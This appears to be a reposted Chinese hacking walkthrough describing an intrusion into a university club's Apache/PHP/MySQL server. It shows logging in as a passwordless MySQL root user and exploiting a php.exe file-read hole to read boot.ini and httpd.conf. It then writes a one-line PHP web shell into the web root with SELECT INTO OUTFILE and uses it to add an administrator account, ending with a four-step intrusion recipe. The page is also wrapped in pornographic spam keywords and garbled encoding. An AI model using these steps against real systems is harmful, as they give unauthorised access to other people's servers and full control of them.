国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數(shù)據(jù)庫 > MySQL > 正文

看緊你的3306端口,一次通過mysql的入侵

2024-07-24 12:55:19
字體:
供稿:網(wǎng)友

用superscan掃了一下
某個c類的網(wǎng)段,尋找開放80端口的機器,結(jié)果就只有一臺機器
開放了80端口,試著連了一下,是我們學(xué)校某個社團的的主頁。
從端口的banner來看應(yīng)該是apache(win32),證實一下
telnet 211.87.xxx.xxx
get(回車)
<!doctype html public "-//ietf//dtd html 2.0//en">
<html><head>
<title>501 method
not implemented</title>
</head><body>
<h1>method not implemented</h1>
get to /index
.html not supported.<p>
invalid method in request get<p>
<hr>
<address>apache/1.3.2
2 server at www.xxxxxx.com port 80</address>
</body></html> 
 

 

遺失對主機的連接。
c:/>
呵呵,這下看得更清楚了

 

據(jù)我猜測,應(yīng)該是"apache+mysql+php"的黃金組合吧
習(xí)慣性的mysql -h 211.87.xxx.xxx
果然連上了
welcome to the mysql monitor. commands end with or /g.
your mysql connection id is 17 to server version: 3.23.53-max-nt


type help; or /h for help. type /c to clear the buffer.


mysql>


斷開試著
mysql -h 211.87.xxx.xxx -u root -p
password:
welcome to the mysql monitor. commands end with or /g.
your mysql connection id is 18 to server version: 3.23.53-max-nt


type help; or /h for help. type /c to clear the buffer.


mysql>
呵呵,大家看到了他的root用戶沒有密碼,這是我今天要說的第一個主題。
這是相當(dāng)?shù)奈kU的,碰見這種情況,有99.999%的可能可以進(jìn)入
既然使用的apache+php,只要找到他在本地存放的web的物理路徑就為所欲為了
呵呵
下一個問題是我今天要說的重點怎么樣才能知道那臺主機的存放的web的物理路徑?
方法有很多種,在這里我介紹2種方法供初學(xué)者參考
首先要告訴大家的是低版本的apache+php有一個漏洞
http://xxx.xxxx.xxx.xxx/php/php.exe?對方的物理文件名
就可以把那個物理文件下載下來。


于是提http://211.87.xxx.xxx/php/php.exe?c:/a.txt
返回
no input file specified. (沒有這個漏洞的話提示找不到網(wǎng)頁)
好的,這說明他有這個漏洞。
在提http://211.87.xxx.xxx/php/php.exe?c:/boot.ini
返回
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)/windows [operating


systems] multi(0)disk(0)rdisk(0)partition(1)/windows="microsoft windows xp professional"


/fastdetect
呵呵,裝的還是xp。
好了,我們可以猜測對方apache的conf文件的物理位置了
http://211.87.xxx.xxx/php/php.exe?c:/apache/conf/httpd.conf
no input file specified.
http://211.87.xxx.xxx/php/php.exe?d:/apache/conf/httpd.conf
no input file specified.
http://211.87.xxx.xxx/php/php.exe?e:/apache/conf/httpd.conf
no input file specified.
http://211.87.xxx.xxx/php/php.exe?c:/program files/apache/conf/httpd.conf
no input file specified.
http://211.87.xxx.xxx/php/php.exe?f:/apache/conf/httpd.conf
猜到了,返回了好多東西
找到我們想要的
# documentroot: the directory out of which you will serve your
# documents. by default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
documentroot "d:/homepage"
看得出來對方的主目錄是d:/homepage
下面的事就好辦了,現(xiàn)在就想得到shell?
先別急,我們先來看看另一種方法
那就是利用mysql的錯誤
隨便的瀏覽一下他的網(wǎng)頁找到一處利用mysql的地方
http://211.87.xxx.xxx/skonline/study/list.php?id=14


長得太帥了,哈哈哈哈
提交
http://211.87.xxx.xxx/skonline/study/list.php?id=14
返回
warning: supplied argument is not a valid mysql result resource in


d:/homepage/skonline/study/list.php on line 231
呵呵,一覽無余。
然后,然后就是制造我們的shell
mysql -h 211.87.xxx.xxx -u root -p
password:
welcome to the mysql monitor. commands end with or /g.
your mysql connection id is 18 to server version: 3.23.53-max-nt


type help; or /h for help. type /c to clear the buffer.


mysql> use test;
database changed
mysql> create table t(cmd text);
query ok, 0 rows affected (0.08 sec)


mysql> insert into t values(<?system($c);?>);
query ok, 1 row affected (12.52 sec)


mysql> select * from t into d://homepage//test.php;


我的shell很簡單<?system($c);?>,不到20個字符,但他已經(jīng)足夠了
可以讓我執(zhí)行任意命令,由此足以看出php的強大。


怎么用?
提交
http://211.87.xxx.xxx/test.php?c=net ;user kid /add
命令成功完成
http://211.87.xxx.xxx/test.php?c=net ;localgroup administrators kid /add
命令成功完成


呵呵,測試成功,通過!
剩下的就是你自由發(fā)揮了。


由此我們不難總結(jié)出這一類的入侵步驟:
1,找到?jīng)]有密碼的3306端口
2,找到對方的web物理路徑
3,制造shell
4,后續(xù)工作


呵呵,在這里提醒大家,如果你想要或正在用mysql的時候
千萬要給自己的root設(shè)上一個強有力的密

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 宿迁市| 甘谷县| 扎囊县| 鄢陵县| 琼结县| 和田市| 田阳县| 安吉县| 抚宁县| 仁化县| 凤庆县| 金溪县| 建水县| 申扎县| 阜城县| 郸城县| 巴林右旗| 华蓥市| 安徽省| 墨玉县| 新密市| 闽清县| 巩留县| 焦作市| 明水县| 彭泽县| 光泽县| 内丘县| 广昌县| 蒙自县| 天祝| 赣榆县| 米易县| 大埔区| 富裕县| 武宣县| 闻喜县| 台江县| 沙洋县| 子洲县| 峨边|